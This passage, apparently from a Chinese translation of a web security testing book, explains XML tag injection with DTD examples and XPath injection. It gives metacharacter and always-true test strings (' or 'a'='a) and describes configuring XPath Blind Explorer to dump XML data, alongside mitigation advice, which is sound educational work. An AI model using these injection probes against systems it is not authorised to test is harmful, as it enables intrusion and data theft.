永远不要调用操作系统 shell,除非确有必要。在需要使用操作系统 shell 时,避免使用用户输入。尽可能使用允许列表进行输入验证。如果无法使用允许列表,则对用户输入或传递给操作系统命令的参数进行特殊字符编码或参数化。
XML 注入
本节简要介绍 XML 以及如何识别 XML 标签注入。XML 注入的一种类型是 XML 外部实体(XXE)注入。XXE 将在第八章《探索 DOS 攻击向量》中详细讨论。本节介绍基础内容,帮助你识别 XML 注入并知道在哪里寻找更多信息。
XML 是一种多功能且广泛使用的数据格式,至今仍在信息交换和表示中发挥着重要作用。它旨在以人类可读和机器可读的格式结构化和存储数据。XML 使用一组标签来定义数据结构,每个标签指定所包含内容的类型和含义。这种灵活性使得 XML 能够表示从简单配置到复杂文档的各种数据,使其成为不同系统和平台之间数据交换的基本工具。它的自描述性和在多个领域(包括 Web 服务、文档存储和配置文件)中的广泛应用,巩固了其在现代计算中的重要性。
XML 注入是指恶意用户发送恶意的 XML 文档或将 XML 标签注入到输入中。
在 XML 中,文档类型定义(DTD)用于定义 XML 文档的结构和规则。DTD 可以分为两种类型:内部 DTD 和外部 DTD。
内部 DTD 是在 XML 文档内定义的,通常在 <!DOCTYPE> 声明中。它直接包含在 XML 文件的方括号内。以下是一个示例:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ELEMENT foobar (foo, bar)>
<!ELEMENT foo (#PCDATA)>
<!ELEMENT bar (#PCDATA)>
<!ATTLIST bar test CDATA ” >
]>
<root>
<foobar>
<foo>This is foo data.</foo>
<bar test =”me”>This is bar data.</bar>
</foobar>
</root>
在这个示例中,我们使用内部 DTD 定义了 foobar 元素及其子元素 foo 和 bar 的结构。<!ELEMENT> 中的 #PCDATA 声明定义了 foo 和 bar 元素可以包含解析后的字符数据(文本内容)。
外部 DTD 是在单独的文件中定义的,并在 XML 文档中引用。它的形式如下:
<?xml version="1.0"?>
<!DOCTYPE root SYSTEM "example.dtd">
<root>
<foobar>
<foo>This is foo data.</foo>
<bar test=”me”>This is bar data.</bar>
</foobar>
</root>
考虑以下 DTD 文件的示例:
<!ELEMENT root (foobar)>
<!ELEMENT foobar (foo, bar)>
<!ELEMENT foo (#PCDATA)>
<!ELEMENT bar (#PCDATA)>
<!ATTLIST bar test CDATA ” >
在这种情况下,XML 文档通过 <!DOCTYPE> 声明中的 SYSTEM 引用外部 DTD 文件。XML 文档的结构和规则定义在单独的 DTD 文件中。DTD 告诉我们 XML 中允许哪些内容。
测试 XML 标签注入:尝试使用任何 XML 元字符:'、"、<、> 和 &。如果这些字符引发错误,则应用程序很可能容易受到 XML 标签注入攻击。
如果存在标签注入,使用输入验证和允许列表来阻止注入攻击。
XPath 注入
本节简要概述了 XPath 和 XPath 注入,重点说明了如何区分 XPath 注入和 SQL 注入,并指出了可以找到其他资源的地方。
XML 路径语言(XPath)是一种功能强大且广泛使用的 XML 技术。XPath 提供了一种方法,用于导航和查询 XML 文档,以定位特定的元素和数据。它充当 XML 的路径或查询语言,允许您在复杂的 XML 结构中定位信息。
XPath 使用一组表达式和函数来遍历 XML 文档的层次结构。它可以提取数据、过滤元素并执行 XML 内容中的搜索。
以下是一些示例查询:
| 查询 | 描述 |
|---|---|
//foo | 所有 foo 元素 |
//item[1]/bar | 第一个 item 元素下的 bar 元素 |
//item/foo | item 下的所有 foo 元素 |
//foo[text()='Second foo'] | 选择文本为 Second foo 的 foo 元素 |
表 4.3:XPath 示例
XPath 注入与 SQL 注入非常相似,但它们并不相同。检测 XPath 注入时,通常使用 ' 来触发错误。可以添加布尔子句来使条件为真或假,这类似于 SQL。例如,您可以使用 ' or 'a'='a 来找到一个总是为真的条件。根据 SQL 查询的不同,这也可能是您的注入方式。因此,如果某些看起来像 SQL 注入但未完全按预期工作,那么它可能是 XPath 注入。
一个名为 XPath Blind Explorer 的工具可以像 SQLMap 一样,用于通过 XPath 注入转储 XML 数据库。它可以从 code.google.com/archive/p/x… 下载。
使用 XPath Blind Explorer 时,首先识别 XPath 注入,找出应用程序如何验证结果为真或假的方式。与很多 SQL 注入相比,XPath 注入的过程较长,因此您可能需要等待几个小时才能完成。配置很简单:提供包含注入的 URL 和参数,然后选择 true 或 false 关键字,并提供能够显示条件是否满足的字符串。接着,选择配置是基于字符串还是整数。参见以下图示:
有关 XPath 注入的更多信息,OWASP 提供了一些相关的文章。请参考 owasp.org/www-communi… 和 owasp.org/www-communi…。
结论
软件安全需要持续的警惕,以保护公共 Web 应用程序和服务。本章介绍了注入攻击,揭示了 SQL 注入、XSS、命令注入、XML 注入和 XPath 注入的威胁。在了解了这些漏洞以及检测和缓解它们的方法之后,您将更有能力防御软件免受不断的网络威胁。请记住,安全编码不仅仅是一项义务,更是一种责任,您对实施本文中概述的安全编码实践的承诺,将保护您的用户和数据,并加强他们对您软件的信任。
在接下来的章节中,我们将探讨配置错误和默认值。内容将包括识别脆弱的 JavaScript 库、利用侦查过程中发现的易受攻击技术、通过默认凭据发现管理员界面、减轻与启用调试环境相关的风险、探索可利用的示例应用程序,以及理解用户代理漏洞的影响。